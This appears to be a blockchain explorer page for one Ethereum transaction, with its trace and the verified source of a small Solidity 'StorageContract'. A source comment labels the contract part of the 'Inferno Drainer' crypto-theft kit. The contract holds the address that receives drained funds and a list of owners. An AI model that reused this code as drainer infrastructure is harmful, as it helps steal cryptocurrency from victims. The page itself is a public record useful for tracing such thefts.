Transaction Hash:
Block:
22846141 at Jul-04-2025 01:26:11 PM +UTC
Transaction Fee:
0.00063841079841012 ETH
$1.61
Gas Used:
153,093 Gas / 4.17008484 Gwei
Emitted Events:
71 |
0x0000303359f425abe18d70d454a10c1f29180000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000303359f425abe18d70d454a10c1f29180000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x00003033...F29180000 | 0.037919373835187089 Eth | 0.06995131754187133 Eth | 0.032031943706684241 | ||
0x39634336...6fb82Aa49
Miner
| (quasarbuilder) | 12.073613469764080457 Eth | 12.073919655764080457 Eth | 0.000306186 | |
0x709d47A4...Fb3323e14 |
0.350040163348009067 Eth
Nonce: 15
|
0.317369808842914706 Eth
Nonce: 17
| 0.032670354505094361 |
Execution Trace
0x709d47a4985d8db67917e93bc51e91dfb3323e14.e9ae5c53( )
ETH 0.032031943706684241
0x0000303359f425abe18d70d454a10c1f29180000.6782cc50( )
-
StorageContract.CALL( )
0x0000303359f425abe18d70d454a10c1f29180000.df60a6ed( )
-
0x0000303359f425abe18d70d454a10c1f29180000.STATICCALL( )
-
-
0x0000303359f425abe18d70d454a10c1f29180000.88417d5c( )
-
0x0000303359f425abe18d70d454a10c1f29180000.STATICCALL( )
-
// @mr_inferno_drainer / inferno drainer pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } }